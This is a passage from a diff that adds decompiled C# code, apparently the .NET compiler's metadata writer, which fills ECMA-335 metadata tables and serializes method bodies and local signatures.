+ { + debugEntryPointHandle = entryPointHandle; + } + } + else + { + entryPointHandle = (debugEntryPointHandle = default(MethodDefinitionHandle)); + } + } + + private ImmutableArray GetSortedGenericParameters() + { + return GetGenericParameters().OrderBy(delegate(IGenericParameter x, IGenericParameter y) + { + int num = CodedIndex.TypeOrMethodDef(GetDeclaringTypeOrMethodHandle(x)) - CodedIndex.TypeOrMethodDef(GetDeclaringTypeOrMethodHandle(y)); + return (num != 0) ? num : (x.Index - y.Index); + }).ToImmutableArray(); + } + + private void PopulateTypeSystemTables(int[] methodBodyOffsets, BlobBuilder mappedFieldDataWriter, BlobBuilder resourceWriter, BlobBuilder dynamicAnalysisDataOpt, out Blob mvidFixup) + { + ImmutableArray sortedGenericParameters = GetSortedGenericParameters(); + PopulateAssemblyRefTableRows(); + PopulateAssemblyTableRows(); + PopulateClassLayoutTableRows(); + PopulateConstantTableRows(); + PopulateDeclSecurityTableRows(); + PopulateEventMapTableRows(); + PopulateEventTableRows(); + PopulateExportedTypeTableRows(); + PopulateFieldLayoutTableRows(); + PopulateFieldMarshalTableRows(); + PopulateFieldRvaTableRows(mappedFieldDataWriter); + PopulateFieldTableRows(); + PopulateFileTableRows(); + PopulateGenericParameters(sortedGenericParameters); + PopulateImplMapTableRows(); + PopulateInterfaceImplTableRows(); + PopulateManifestResourceTableRows(resourceWriter, dynamicAnalysisDataOpt); + PopulateMemberRefTableRows(); + PopulateMethodImplTableRows(); + PopulateMethodTableRows(methodBodyOffsets); + PopulateMethodSemanticsTableRows(); + PopulateMethodSpecTableRows(); + PopulateModuleRefTableRows(); + PopulateModuleTableRow(out mvidFixup); + PopulateNestedClassTableRows(); + PopulateParamTableRows(); + PopulatePropertyMapTableRows(); + PopulatePropertyTableRows(); + PopulateTypeDefTableRows(); + PopulateTypeRefTableRows(); + PopulateTypeSpecTableRows(); + PopulateStandaloneSignatures(); + PopulateCustomAttributeTableRows(sortedGenericParameters); + } + + private void PopulateAssemblyRefTableRows() + { + IReadOnlyList assemblyRefs = GetAssemblyRefs(); + metadata.SetCapacity(TableIndex.AssemblyRef, assemblyRefs.Count); + foreach (AssemblyIdentity item in assemblyRefs) + { + metadata.AddAssemblyReference(GetStringHandleForPathAndCheckLength(item.Name), item.Version, metadata.GetOrAddString(item.CultureName), metadata.GetOrAddBlob(item.PublicKeyToken), (AssemblyFlags)(((int)item.ContentType << 9) | (item.IsRetargetable ? 256 : 0)), default(BlobHandle)); + } + } + + private void PopulateAssemblyTableRows() + { + if (EmitAssemblyDefinition) + { + ISourceAssemblySymbolInternal sourceAssemblyOpt = module.SourceAssemblyOpt; + AssemblyFlags assemblyFlags = sourceAssemblyOpt.AssemblyFlags & ~AssemblyFlags.PublicKey; + if (!sourceAssemblyOpt.Identity.PublicKey.IsDefaultOrEmpty) + { + assemblyFlags |= AssemblyFlags.PublicKey; + } + metadata.AddAssembly(flags: assemblyFlags, hashAlgorithm: sourceAssemblyOpt.HashAlgorithm, version: sourceAssemblyOpt.Identity.Version, publicKey: metadata.GetOrAddBlob(sourceAssemblyOpt.Identity.PublicKey), name: GetStringHandleForPathAndCheckLength(module.Name, module), culture: metadata.GetOrAddString(sourceAssemblyOpt.Identity.CultureName)); + } + } + + private void PopulateCustomAttributeTableRows(ImmutableArray sortedGenericParameters) + { + if (IsFullMetadata) + { + AddAssemblyAttributesToTable(); + } + AddCustomAttributesToTable(GetMethodDefs(), (IMethodDefinition def) => GetMethodDefinitionHandle(def)); + AddCustomAttributesToTable(GetFieldDefs(), (IFieldDefinition def) => GetFieldDefinitionHandle(def)); + IReadOnlyList typeDefs = GetTypeDefs(); + AddCustomAttributesToTable(typeDefs, (ITypeDefinition def) => GetTypeDefinitionHandle(def)); + AddCustomAttributesToTable(GetParameterDefs(), (IParameterDefinition def) => GetParameterHandle(def)); + if (IsFullMetadata) + { + AddModuleAttributesToTable(module); + } + AddCustomAttributesToTable(GetPropertyDefs(), (IPropertyDefinition def) => GetPropertyDefIndex(def)); + AddCustomAttributesToTable(GetEventDefs(), (IEventDefinition def) => GetEventDefinitionHandle(def)); + AddCustomAttributesToTable(sortedGenericParameters, TableIndex.GenericParam); + } + + private void AddAssemblyAttributesToTable() + { + bool flag = module.OutputKind == OutputKind.NetModule; + if (flag) + { + AddAssemblyAttributesToTable(from sa in module.GetSourceAssemblySecurityAttributes() + select sa.Attribute, needsDummyParent: true, isSecurity: true); + } + AddAssemblyAttributesToTable(module.GetSourceAssemblyAttributes(Context.IsRefAssembly), flag, isSecurity: false); + } + + private void AddAssemblyAttributesToTable(IEnumerable assemblyAttributes, bool needsDummyParent, bool isSecurity) + { + EntityHandle parentHandle = Handle.AssemblyDefinition; + foreach (ICustomAttribute assemblyAttribute in assemblyAttributes) + { + if (needsDummyParent) + { + parentHandle = GetDummyAssemblyAttributeParent(isSecurity, assemblyAttribute.AllowMultiple); + } + AddCustomAttributeToTable(parentHandle, assemblyAttribute); + } + } + + private TypeReferenceHandle GetDummyAssemblyAttributeParent(bool isSecurity, bool allowMultiple) + { + int num = (isSecurity ? 1 : 0); + int num2 = (allowMultiple ? 1 : 0); + if (_dummyAssemblyAttributeParent[num, num2].IsNil) + { + _dummyAssemblyAttributeParent[num, num2] = metadata.AddTypeReference(GetResolutionScopeHandle(module.GetCorLibrary(Context)), metadata.GetOrAddString("System.Runtime.CompilerServices"), metadata.GetOrAddString("AssemblyAttributesGoHere" + dummyAssemblyAttributeParentQualifier[num, num2])); + } + return _dummyAssemblyAttributeParent[num, num2]; + } + + private void AddModuleAttributesToTable(CommonPEModuleBuilder module) + { + AddCustomAttributesToTable(EntityHandle.ModuleDefinition, module.GetSourceModuleAttributes()); + } + + private void AddCustomAttributesToTable(IEnumerable parentList, TableIndex tableIndex) where T : IReference + { + int num = 1; + foreach (T parent in parentList) + { + EntityHandle parentHandle = MetadataTokens.Handle(tableIndex, num++); + AddCustomAttributesToTable(parentHandle, parent.GetAttributes(Context)); + } + } + + private void AddCustomAttributesToTable(IEnumerable parentList, Func getDefinitionHandle) where T : IReference + { + foreach (T parent in parentList) + { + EntityHandle parentHandle = getDefinitionHandle(parent); + AddCustomAttributesToTable(parentHandle, parent.GetAttributes(Context)); + } + } + + protected virtual int AddCustomAttributesToTable(EntityHandle parentHandle, IEnumerable attributes) + { + int num = 0; + foreach (ICustomAttribute attribute in attributes) + { + num++; + AddCustomAttributeToTable(parentHandle, attribute); + } + return num; + } + + private void AddCustomAttributeToTable(EntityHandle parentHandle, ICustomAttribute customAttribute) + { + IMethodReference methodReference = customAttribute.Constructor(Context, reportDiagnostics: true); + if (methodReference != null) + { + metadata.AddCustomAttribute(parentHandle, GetCustomAttributeTypeCodedIndex(methodReference), GetCustomAttributeSignatureIndex(customAttribute)); + } + } + + private void PopulateDeclSecurityTableRows() + { + if (module.OutputKind != OutputKind.NetModule) + { + PopulateDeclSecurityTableRowsFor(EntityHandle.AssemblyDefinition, module.GetSourceAssemblySecurityAttributes()); + } + foreach (ITypeDefinition typeDef in GetTypeDefs()) + { + if (typeDef.HasDeclarativeSecurity) + { + PopulateDeclSecurityTableRowsFor(GetTypeDefinitionHandle(typeDef), typeDef.SecurityAttributes); + } + } + foreach (IMethodDefinition methodDef in GetMethodDefs()) + { + if (methodDef.HasDeclarativeSecurity) + { + PopulateDeclSecurityTableRowsFor(GetMethodDefinitionHandle(methodDef), methodDef.SecurityAttributes); + } + } + } + + private void PopulateDeclSecurityTableRowsFor(EntityHandle parentHandle, IEnumerable attributes) + { + OrderPreservingMultiDictionary orderPreservingMultiDictionary = null; + foreach (SecurityAttribute attribute in attributes) + { + orderPreservingMultiDictionary = orderPreservingMultiDictionary ?? OrderPreservingMultiDictionary.GetInstance(); + orderPreservingMultiDictionary.Add(attribute.Action, attribute.Attribute); + } + if (orderPreservingMultiDictionary == null) + { + return; + } + foreach (DeclarativeSecurityAction key in orderPreservingMultiDictionary.Keys) + { + metadata.AddDeclarativeSecurityAttribute(parentHandle, key, GetPermissionSetBlobHandle(orderPreservingMultiDictionary[key])); + } + orderPreservingMultiDictionary.Free(); + } + + private void PopulateEventTableRows() + { + IReadOnlyList eventDefs = GetEventDefs(); + metadata.SetCapacity(TableIndex.Event, eventDefs.Count); + foreach (IEventDefinition item in eventDefs) + { + metadata.AddEvent(GetEventAttributes(item), GetStringHandleForNameAndCheckLength(item.Name, item), GetTypeHandle(item.GetType(Context))); + } + } + + private void PopulateExportedTypeTableRows() + { + if (!IsFullMetadata) + { + return; + } + ImmutableArray exportedTypes = module.GetExportedTypes(Context.Diagnostics); + if (exportedTypes.Length == 0) + { + return; + } + metadata.SetCapacity(TableIndex.ExportedType, exportedTypes.Length); + ImmutableArray.Enumerator enumerator = exportedTypes.GetEnumerator(); + while (enumerator.MoveNext()) + { + ExportedType current = enumerator.Current; + INamespaceTypeReference asNamespaceTypeReference; + StringHandle stringHandleForNameAndCheckLength; + StringHandle stringHandle; + EntityHandle implementation; + TypeAttributes attributes; + if ((asNamespaceTypeReference = current.Type.AsNamespaceTypeReference) != null) + { + string metadataName = GetMetadataName(asNamespaceTypeReference, 0); + stringHandleForNameAndCheckLength = GetStringHandleForNameAndCheckLength(metadataName, asNamespaceTypeReference); + stringHandle = GetStringHandleForNamespaceAndCheckLength(asNamespaceTypeReference, metadataName); + implementation = GetExportedTypeImplementation(asNamespaceTypeReference); + attributes = ((!current.IsForwarder) ? TypeAttributes.Public : ((TypeAttributes)2097152)); + } + else + { + INestedTypeReference asNestedTypeReference; + if ((asNestedTypeReference = current.Type.AsNestedTypeReference) == null) + { + throw ExceptionUtilities.UnexpectedValue(current); + } + string metadataName2 = GetMetadataName(asNestedTypeReference, 0); + stringHandleForNameAndCheckLength = GetStringHandleForNameAndCheckLength(metadataName2, asNestedTypeReference); + stringHandle = default(StringHandle); + implementation = MetadataTokens.ExportedTypeHandle(current.ParentIndex + 1); + attributes = ((!current.IsForwarder) ? TypeAttributes.NestedPublic : TypeAttributes.NotPublic); + } + metadata.AddExportedType(attributes, stringHandle, stringHandleForNameAndCheckLength, implementation, (!current.IsForwarder) ? MetadataTokens.GetToken(current.Type.TypeDef) : 0); + } + } + + private void PopulateFieldLayoutTableRows() + { + foreach (IFieldDefinition fieldDef in GetFieldDefs()) + { + if (fieldDef.ContainingTypeDefinition.Layout == LayoutKind.Explicit && !fieldDef.IsStatic) + { + metadata.AddFieldLayout(GetFieldDefinitionHandle(fieldDef), fieldDef.Offset); + } + } + } + + private void PopulateFieldMarshalTableRows() + { + foreach (IFieldDefinition fieldDef in GetFieldDefs()) + { + if (fieldDef.IsMarshalledExplicitly) + { + IMarshallingInformation marshallingInformation = fieldDef.MarshallingInformation; + BlobHandle descriptor = ((marshallingInformation != null) ? GetMarshallingDescriptorHandle(marshallingInformation) : GetMarshallingDescriptorHandle(fieldDef.MarshallingDescriptor)); + metadata.AddMarshallingDescriptor(GetFieldDefinitionHandle(fieldDef), descriptor); + } + } + foreach (IParameterDefinition parameterDef in GetParameterDefs()) + { + if (parameterDef.IsMarshalledExplicitly) + { + IMarshallingInformation marshallingInformation2 = parameterDef.MarshallingInformation; + BlobHandle descriptor2 = ((marshallingInformation2 != null) ? GetMarshallingDescriptorHandle(marshallingInformation2) : GetMarshallingDescriptorHandle(parameterDef.MarshallingDescriptor)); + metadata.AddMarshallingDescriptor(GetParameterHandle(parameterDef), descriptor2); + } + } + } + + private void PopulateFieldRvaTableRows(BlobBuilder mappedFieldDataWriter) + { + foreach (IFieldDefinition fieldDef in GetFieldDefs()) + { + if (!fieldDef.MappedData.IsDefault) + { + int count = mappedFieldDataWriter.Count; + mappedFieldDataWriter.WriteBytes(fieldDef.MappedData); + mappedFieldDataWriter.Align(8); + metadata.AddFieldRelativeVirtualAddress(GetFieldDefinitionHandle(fieldDef), count); + } + } + } + + private void PopulateFieldTableRows() + { + IReadOnlyList fieldDefs = GetFieldDefs(); + metadata.SetCapacity(TableIndex.Field, fieldDefs.Count); + foreach (IFieldDefinition item in fieldDefs) + { + if (item.IsContextualNamedEntity) + { + ((IContextualNamedEntity)item).AssociateWithMetadataWriter(this); + } + metadata.AddFieldDefinition(GetFieldAttributes(item), GetStringHandleForNameAndCheckLength(item.Name, item), GetFieldSignatureIndex(item)); + } + } + + private void PopulateConstantTableRows() + { + foreach (IFieldDefinition fieldDef in GetFieldDefs()) + { + MetadataConstant compileTimeValue = fieldDef.GetCompileTimeValue(Context); + if (compileTimeValue != null) + { + metadata.AddConstant(GetFieldDefinitionHandle(fieldDef), compileTimeValue.Value); + } + } + foreach (IParameterDefinition parameterDef in GetParameterDefs()) + { + MetadataConstant defaultValue = parameterDef.GetDefaultValue(Context); + if (defaultValue != null) + { + metadata.AddConstant(GetParameterHandle(parameterDef), defaultValue.Value); + } + } + foreach (IPropertyDefinition propertyDef in GetPropertyDefs()) + { + if (propertyDef.HasDefaultValue) + { + metadata.AddConstant(GetPropertyDefIndex(propertyDef), propertyDef.DefaultValue.Value); + } + } + } + + private void PopulateFileTableRows() + { + ISourceAssemblySymbolInternal sourceAssemblyOpt = module.SourceAssemblyOpt; + if (sourceAssemblyOpt == null) + { + return; + } + AssemblyHashAlgorithm hashAlgorithm = sourceAssemblyOpt.HashAlgorithm; + metadata.SetCapacity(TableIndex.File, _fileRefList.Count); + foreach (IFileReference fileRef in _fileRefList) + { + metadata.AddAssemblyFile(GetStringHandleForPathAndCheckLength(fileRef.FileName), metadata.GetOrAddBlob(fileRef.GetHashValue(hashAlgorithm)), fileRef.HasMetadata); + } + } + + private void PopulateGenericParameters(ImmutableArray sortedGenericParameters) + { + ImmutableArray.Enumerator enumerator = sortedGenericParameters.GetEnumerator(); + while (enumerator.MoveNext()) + { + IGenericParameter current = enumerator.Current; + GenericParameterHandle genericParameter = metadata.AddGenericParameter(GetDeclaringTypeOrMethodHandle(current), GetGenericParameterAttributes(current), GetStringHandleForNameAndCheckLength(current.Name, current), current.Index); + foreach (TypeReferenceWithAttributes constraint in current.GetConstraints(Context)) + { + GenericParameterConstraintHandle genericParameterConstraintHandle = metadata.AddGenericParameterConstraint(genericParameter, GetTypeHandle(constraint.TypeRef)); + AddCustomAttributesToTable(genericParameterConstraintHandle, constraint.Attributes); + } + } + } + + private void PopulateImplMapTableRows() + { + foreach (IMethodDefinition methodDef in GetMethodDefs()) + { + if (methodDef.IsPlatformInvoke) + { + IPlatformInvokeInformation platformInvokeData = methodDef.PlatformInvokeData; + string entryPointName = platformInvokeData.EntryPointName; + StringHandle name = ((entryPointName != null && entryPointName != methodDef.Name) ? GetStringHandleForNameAndCheckLength(entryPointName, methodDef) : metadata.GetOrAddString(methodDef.Name)); + metadata.AddMethodImport(GetMethodDefinitionHandle(methodDef), platformInvokeData.Flags, name, GetModuleReferenceHandle(platformInvokeData.ModuleName)); + } + } + } + + private void PopulateInterfaceImplTableRows() + { + foreach (ITypeDefinition typeDef in GetTypeDefs()) + { + TypeDefinitionHandle typeDefinitionHandle = GetTypeDefinitionHandle(typeDef); + foreach (TypeReferenceWithAttributes item in typeDef.Interfaces(Context)) + { + InterfaceImplementationHandle interfaceImplementationHandle = metadata.AddInterfaceImplementation(typeDefinitionHandle, GetTypeHandle(item.TypeRef)); + AddCustomAttributesToTable(interfaceImplementationHandle, item.Attributes); + } + } + } + + private void PopulateManifestResourceTableRows(BlobBuilder resourceDataWriter, BlobBuilder dynamicAnalysisDataOpt) + { + if (dynamicAnalysisDataOpt != null) + { + metadata.AddManifestResource(ManifestResourceAttributes.Private, metadata.GetOrAddString(""), default(EntityHandle), GetManagedResourceOffset(dynamicAnalysisDataOpt, resourceDataWriter)); + } + ImmutableArray.Enumerator enumerator = module.GetResources(Context).GetEnumerator(); + while (enumerator.MoveNext()) + { + ManagedResource current = enumerator.Current; + EntityHandle implementation = ((current.ExternalFile == null) ? default(EntityHandle) : ((EntityHandle)GetAssemblyFileHandle(current.ExternalFile))); + metadata.AddManifestResource(current.IsPublic ? ManifestResourceAttributes.Public : ManifestResourceAttributes.Private, GetStringHandleForNameAndCheckLength(current.Name), implementation, GetManagedResourceOffset(current, resourceDataWriter)); + } + } + + private void PopulateMemberRefTableRows() + { + IReadOnlyList memberRefs = GetMemberRefs(); + metadata.SetCapacity(TableIndex.MemberRef, memberRefs.Count); + foreach (ITypeMemberReference item in memberRefs) + { + metadata.AddMemberReference(GetMemberReferenceParent(item), GetStringHandleForNameAndCheckLength(item.Name, item), GetMemberReferenceSignatureHandle(item)); + } + } + + private void PopulateMethodImplTableRows() + { + metadata.SetCapacity(TableIndex.MethodImpl, methodImplList.Count); + foreach (MethodImplementation methodImpl in methodImplList) + { + metadata.AddMethodImplementation(GetTypeDefinitionHandle(methodImpl.ContainingType), GetMethodDefinitionOrReferenceHandle(methodImpl.ImplementingMethod), GetMethodDefinitionOrReferenceHandle(methodImpl.ImplementedMethod)); + } + } + + private void PopulateMethodSpecTableRows() + { + IReadOnlyList methodSpecs = GetMethodSpecs(); + metadata.SetCapacity(TableIndex.MethodSpec, methodSpecs.Count); + foreach (IGenericMethodInstanceReference item in methodSpecs) + { + metadata.AddMethodSpecification(GetMethodDefinitionOrReferenceHandle(item.GetGenericMethod(Context)), GetMethodSpecificationBlobHandle(item)); + } + } + + private void PopulateMethodTableRows(int[] methodBodyOffsets) + { + IReadOnlyList methodDefs = GetMethodDefs(); + metadata.SetCapacity(TableIndex.MethodDef, methodDefs.Count); + int num = 0; + foreach (IMethodDefinition item in methodDefs) + { + metadata.AddMethodDefinition(GetMethodAttributes(item), item.GetImplementationAttributes(Context), GetStringHandleForNameAndCheckLength(item.Name, item), GetMethodSignatureHandle(item), methodBodyOffsets[num], GetFirstParameterHandle(item)); + num++; + } + } + + private void PopulateMethodSemanticsTableRows() + { + IReadOnlyList propertyDefs = GetPropertyDefs(); + IReadOnlyList eventDefs = GetEventDefs(); + metadata.SetCapacity(TableIndex.MethodSemantics, propertyDefs.Count * 2 + eventDefs.Count * 2); + foreach (IPropertyDefinition propertyDef in GetPropertyDefs()) + { + PropertyDefinitionHandle propertyDefIndex = GetPropertyDefIndex(propertyDef); + foreach (IMethodReference accessor in propertyDef.GetAccessors(Context)) + { + MethodSemanticsAttributes semantics = ((accessor == propertyDef.Setter) ? MethodSemanticsAttributes.Setter : ((accessor != propertyDef.Getter) ? MethodSemanticsAttributes.Other : MethodSemanticsAttributes.Getter)); + metadata.AddMethodSemantics(propertyDefIndex, semantics, GetMethodDefinitionHandle(accessor.GetResolvedMethod(Context))); + } + } + foreach (IEventDefinition eventDef in GetEventDefs()) + { + EventDefinitionHandle eventDefinitionHandle = GetEventDefinitionHandle(eventDef); + foreach (IMethodReference accessor2 in eventDef.GetAccessors(Context)) + { + MethodSemanticsAttributes semantics2 = ((accessor2 != eventDef.Adder) ? ((accessor2 != eventDef.Remover) ? ((accessor2 != eventDef.Caller) ? MethodSemanticsAttributes.Other : MethodSemanticsAttributes.Raiser) : MethodSemanticsAttributes.Remover) : MethodSemanticsAttributes.Adder); + metadata.AddMethodSemantics(eventDefinitionHandle, semantics2, GetMethodDefinitionHandle(accessor2.GetResolvedMethod(Context))); + } + } + } + + private void PopulateModuleRefTableRows() + { + IReadOnlyList moduleRefs = GetModuleRefs(); + metadata.SetCapacity(TableIndex.ModuleRef, moduleRefs.Count); + foreach (string item in moduleRefs) + { + metadata.AddModuleReference(GetStringHandleForPathAndCheckLength(item)); + } + } + + private void PopulateModuleTableRow(out Blob mvidFixup) + { + CheckPathLength(module.ModuleName); + Guid persistentIdentifier = module.SerializationProperties.PersistentIdentifier; + GuidHandle mvid; + if (persistentIdentifier != default(Guid)) + { + mvid = metadata.GetOrAddGuid(persistentIdentifier); + mvidFixup = default(Blob); + } + else + { + ReservedBlob reservedBlob = metadata.ReserveGuid(); + mvidFixup = reservedBlob.Content; + mvid = reservedBlob.Handle; + reservedBlob.CreateWriter().WriteBytes(0, mvidFixup.Length); + } + metadata.AddModule(Generation, metadata.GetOrAddString(module.ModuleName), mvid, metadata.GetOrAddGuid(EncId), metadata.GetOrAddGuid(EncBaseId)); + } + + private void PopulateParamTableRows() + { + IReadOnlyList parameterDefs = GetParameterDefs(); + metadata.SetCapacity(TableIndex.Param, parameterDefs.Count); + foreach (IParameterDefinition item in parameterDefs) + { + metadata.AddParameter(GetParameterAttributes(item), sequenceNumber: (!(item is ReturnValueParameter)) ? (item.Index + 1) : 0, name: GetStringHandleForNameAndCheckLength(item.Name, item)); + } + } + + private void PopulatePropertyTableRows() + { + IReadOnlyList propertyDefs = GetPropertyDefs(); + metadata.SetCapacity(TableIndex.Property, propertyDefs.Count); + foreach (IPropertyDefinition item in propertyDefs) + { + metadata.AddProperty(GetPropertyAttributes(item), GetStringHandleForNameAndCheckLength(item.Name, item), GetPropertySignatureHandle(item)); + } + } + + private void PopulateTypeDefTableRows() + { + IReadOnlyList typeDefs = GetTypeDefs(); + metadata.SetCapacity(TableIndex.TypeDef, typeDefs.Count); + foreach (INamedTypeDefinition item in typeDefs) + { + INamespaceTypeDefinition namespaceTypeDefinition = item.AsNamespaceTypeDefinition(Context); + int typeDefinitionGeneration = Context.Module.GetTypeDefinitionGeneration(item); + string metadataName = GetMetadataName(item, typeDefinitionGeneration); + ITypeReference baseClass = item.GetBaseClass(Context); + metadata.AddTypeDefinition(GetTypeAttributes(item), (namespaceTypeDefinition != null) ? GetStringHandleForNamespaceAndCheckLength(namespaceTypeDefinition, metadataName) : default(StringHandle), GetStringHandleForNameAndCheckLength(metadataName, item), (baseClass != null) ? GetTypeHandle(baseClass) : default(EntityHandle), GetFirstFieldDefinitionHandle(item), GetFirstMethodDefinitionHandle(item)); + } + } + + private void PopulateNestedClassTableRows() + { + foreach (ITypeDefinition typeDef in GetTypeDefs()) + { + INestedTypeDefinition nestedTypeDefinition = typeDef.AsNestedTypeDefinition(Context); + if (nestedTypeDefinition != null) + { + metadata.AddNestedType(GetTypeDefinitionHandle(typeDef), GetTypeDefinitionHandle(nestedTypeDefinition.ContainingTypeDefinition)); + } + } + } + + private void PopulateClassLayoutTableRows() + { + foreach (ITypeDefinition typeDef in GetTypeDefs()) + { + if (typeDef.Alignment != 0 || typeDef.SizeOf != 0) + { + metadata.AddTypeLayout(GetTypeDefinitionHandle(typeDef), typeDef.Alignment, typeDef.SizeOf); + } + } + } + + private void PopulateTypeRefTableRows() + { + IReadOnlyList typeRefs = GetTypeRefs(); + metadata.SetCapacity(TableIndex.TypeRef, typeRefs.Count); + foreach (ITypeReference item in typeRefs) + { + INestedTypeReference asNestedTypeReference = item.AsNestedTypeReference; + EntityHandle resolutionScope; + StringHandle stringHandleForNameAndCheckLength; + StringHandle stringHandle; + if (asNestedTypeReference != null) + { + ISpecializedNestedTypeReference asSpecializedNestedTypeReference = asNestedTypeReference.AsSpecializedNestedTypeReference; + ITypeReference typeReference = ((asSpecializedNestedTypeReference == null) ? asNestedTypeReference.GetContainingType(Context) : asSpecializedNestedTypeReference.GetUnspecializedVersion(Context).GetContainingType(Context)); + resolutionScope = GetTypeReferenceHandle(typeReference); + string metadataName = GetMetadataName(asNestedTypeReference, 0); + stringHandleForNameAndCheckLength = GetStringHandleForNameAndCheckLength(metadataName, asNestedTypeReference); + stringHandle = default(StringHandle); + } + else + { + INamespaceTypeReference asNamespaceTypeReference = item.AsNamespaceTypeReference; + if (asNamespaceTypeReference == null) + { + throw ExceptionUtilities.UnexpectedValue(item); + } + resolutionScope = GetResolutionScopeHandle(asNamespaceTypeReference.GetUnit(Context)); + string metadataName2 = GetMetadataName(asNamespaceTypeReference, 0); + stringHandleForNameAndCheckLength = GetStringHandleForNameAndCheckLength(metadataName2, asNamespaceTypeReference); + stringHandle = GetStringHandleForNamespaceAndCheckLength(asNamespaceTypeReference, metadataName2); + } + metadata.AddTypeReference(resolutionScope, stringHandle, stringHandleForNameAndCheckLength); + } + } + + private void PopulateTypeSpecTableRows() + { + IReadOnlyList typeSpecs = GetTypeSpecs(); + metadata.SetCapacity(TableIndex.TypeSpec, typeSpecs.Count); + foreach (ITypeReference item in typeSpecs) + { + metadata.AddTypeSpecification(GetTypeSpecSignatureIndex(item)); + } + } + + private void PopulateStandaloneSignatures() + { + foreach (BlobHandle standaloneSignatureBlobHandle in GetStandaloneSignatureBlobHandles()) + { + metadata.AddStandaloneSignature(standaloneSignatureBlobHandle); + } + } + + private int[] SerializeThrowNullMethodBodies(BlobBuilder ilBuilder) + { + IReadOnlyList methodDefs = GetMethodDefs(); + int[] array = new int[methodDefs.Count]; + int num = -1; + int num2 = 0; + foreach (IMethodDefinition item in methodDefs) + { + if (item.HasBody()) + { + if (num == -1) + { + num = ilBuilder.Count; + ilBuilder.WriteBytes(ThrowNullEncodedBody); + } + array[num2] = num; + } + else + { + array[num2] = -1; + } + num2++; + } + return array; + } + + private int[] SerializeMethodBodies(BlobBuilder ilBuilder, PdbWriter nativePdbWriterOpt, out Blob mvidStringFixup) + { + CustomDebugInfoWriter customDebugInfoWriter = ((nativePdbWriterOpt != null) ? new CustomDebugInfoWriter(nativePdbWriterOpt) : null); + IReadOnlyList methodDefs = GetMethodDefs(); + int[] array = new int[methodDefs.Count]; + LocalVariableHandle lastLocalVariableHandle = default(LocalVariableHandle); + LocalConstantHandle lastLocalConstantHandle = default(LocalConstantHandle); + MethodBodyStreamEncoder encoder = new MethodBodyStreamEncoder(ilBuilder); + UserStringHandle mvidStringHandle = default(UserStringHandle); + mvidStringFixup = default(Blob); + int num = 1; + foreach (IMethodDefinition item in methodDefs) + { + CancellationToken cancellationToken = _cancellationToken; + cancellationToken.ThrowIfCancellationRequested(); + IMethodBody methodBody; + StandaloneSignatureHandle localSignatureHandleOpt; + int num2; + if (item.HasBody()) + { + methodBody = item.GetBody(Context); + if (methodBody != null) + { + localSignatureHandleOpt = SerializeLocalVariablesSignature(methodBody); + num2 = SerializeMethodBody(encoder, methodBody, localSignatureHandleOpt, ref mvidStringHandle, ref mvidStringFixup); + nativePdbWriterOpt?.SerializeDebugInfo(methodBody, localSignatureHandleOpt, customDebugInfoWriter); + } + else + { + num2 = 0; + localSignatureHandleOpt = default(StandaloneSignatureHandle); + } + } + else + { + num2 = -1; + methodBody = null; + localSignatureHandleOpt = default(StandaloneSignatureHandle); + } + if (_debugMetadataOpt != null) + { + int rowNumber = MetadataTokens.GetRowNumber(GetMethodDefinitionHandle(item)); + SerializeMethodDebugInfo(methodBody, num, rowNumber, localSignatureHandleOpt, ref lastLocalVariableHandle, ref lastLocalConstantHandle); + } + _dynamicAnalysisDataWriterOpt?.SerializeMethodCodeCoverageData(methodBody); + array[num - 1] = num2; + num++; + } + return array; + } + + private int SerializeMethodBody(MethodBodyStreamEncoder encoder, IMethodBody methodBody, StandaloneSignatureHandle localSignatureHandleOpt, ref UserStringHandle mvidStringHandle, ref Blob mvidStringFixup) + { + int length = methodBody.IL.Length; + ImmutableArray exceptionRegions = methodBody.ExceptionRegions; + bool flag = length < 64 && methodBody.MaxStack <= 8 && localSignatureHandleOpt.IsNil && exceptionRegions.Length == 0; + (ImmutableArray, bool) key = (methodBody.IL, methodBody.AreLocalsZeroed); + if (!_deterministic && flag && _smallMethodBodies.TryGetValue(key, out var value)) + { + return value; + } + MethodBodyStreamEncoder.MethodBody methodBody2 = encoder.AddMethodBody(methodBody.IL.Length, methodBody.MaxStack, exceptionRegions.Length, MayUseSmallExceptionHeaders(exceptionRegions), localSignatureHandleOpt, methodBody.AreLocalsZeroed ? MethodBodyAttributes.InitLocals : MethodBodyAttributes.None, methodBody.HasStackalloc); + if (flag && !_deterministic) + { + _smallMethodBodies.Add(key, methodBody2.Offset); + } + WriteInstructions(methodBody2.Instructions, methodBody.IL, ref mvidStringHandle, ref mvidStringFixup); + SerializeMethodBodyExceptionHandlerTable(methodBody2.ExceptionRegions, exceptionRegions); + return methodBody2.Offset; + } + + protected virtual StandaloneSignatureHandle SerializeLocalVariablesSignature(IMethodBody body) + { + ImmutableArray localVariables = body.LocalVariables; + if (localVariables.Length == 0) + { + return default(StandaloneSignatureHandle); + } + PooledBlobBuilder instance = PooledBlobBuilder.GetInstance(); + LocalVariablesEncoder localVariablesEncoder = new BlobEncoder(instance).LocalVariableSignature(localVariables.Length); + ImmutableArray.Enumerator enumerator = localVariables.GetEnumerator(); + while (enumerator.MoveNext()) + { + ILocalDefinition current = enumerator.Current; + SerializeLocalVariableType(localVariablesEncoder.AddVariable(), current); + } + BlobHandle orAddBlob = metadata.GetOrAddBlob(instance); + StandaloneSignatureHandle orAddStandaloneSignatureHandle = GetOrAddStandaloneSignatureHandle(orAddBlob); + instance.Free(); + return orAddStandaloneSignatureHandle; + } + + protected void SerializeLocalVariableType(LocalVariableTypeEncoder encoder, ILocalDefinition local) + { + if (local.CustomModifiers.Length > 0) + { + SerializeCustomModifiers(encoder.CustomModifiers(), local.CustomModifiers); + } + SerializeTypeReference(encoder.Type(local.IsReference, local.IsPinned), local.Type); + } + + internal StandaloneSignatureHandle SerializeLocalConstantStandAloneSignature(ILocalDefinition localConstant) + { + PooledBlobBuilder instance = PooledBlobBuilder.GetInstance(); + SignatureTypeEncoder encoder = new BlobEncoder(instance).FieldSignature(); + if (localConstant.CustomModifiers.Length > 0) + { + SerializeCustomModifiers(encoder.CustomModifiers(), localConstant.CustomModifiers); + } + SerializeTypeReference(encoder, localConstant.Type); + BlobHandle orAddBlob = metadata.GetOrAddBlob(instance); + StandaloneSignatureHandle orAddStandaloneSignatureHandle = GetOrAddStandaloneSignatureHandle(orAddBlob); + instance.Free(); + return orAddStandaloneSignatureHandle; + } + + private static byte ReadByte(ImmutableArray buffer, int pos) + { + return buffer[pos]; + } + + private static int ReadInt32(ImmutableArray buffer, int pos) + { + return buffer[pos] | (buffer[pos + 1] << 8) | (buffer[pos + 2] << 16) | 